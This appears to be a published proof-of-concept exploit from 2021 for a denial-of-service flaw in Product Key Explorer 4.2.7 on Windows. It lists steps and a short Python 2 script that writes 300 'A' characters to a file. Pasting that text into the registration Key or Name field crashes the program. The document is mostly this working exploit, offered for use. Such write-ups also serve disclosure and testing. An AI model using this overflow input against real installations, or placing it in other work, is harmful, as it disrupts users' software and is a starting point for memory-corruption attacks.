Product Key Explorer 4.2.7 – ‘multiple’ Denial of Service (PoC)

# Exploit Title: Product Key Explorer 4.2.7 - 'multiple' Denial of Service (PoC)

# Exploit Author : Sinem Şahin

# Exploit Date: 2021-02-23

# Vendor Homepage : http://www.nsauditor.com/

# Link Software : http://www.nsauditor.com/downloads/productkeyexplorer_setup.exe

# Version: 4.2.7

# Tested on: Windows 7 x64

# Steps:

1- Run the python script. (exploit.py)

2- Open payload.txt and copy content to clipboard.

3- Run 'Product Key Explorer 4.2.7'.

4- Register -> Enter Registration Code

5- Paste clipboard into the "Key" or "Name".

6- Click on OK.

7- Crashed.

---> exploit.py <--

#!/usr/bin/env python

buffer = "\x41" * 300

try:

f = open("payload.txt","w")

f.write(buffer)

f.close()

print "File created!"

except:

print "File cannot be created!!"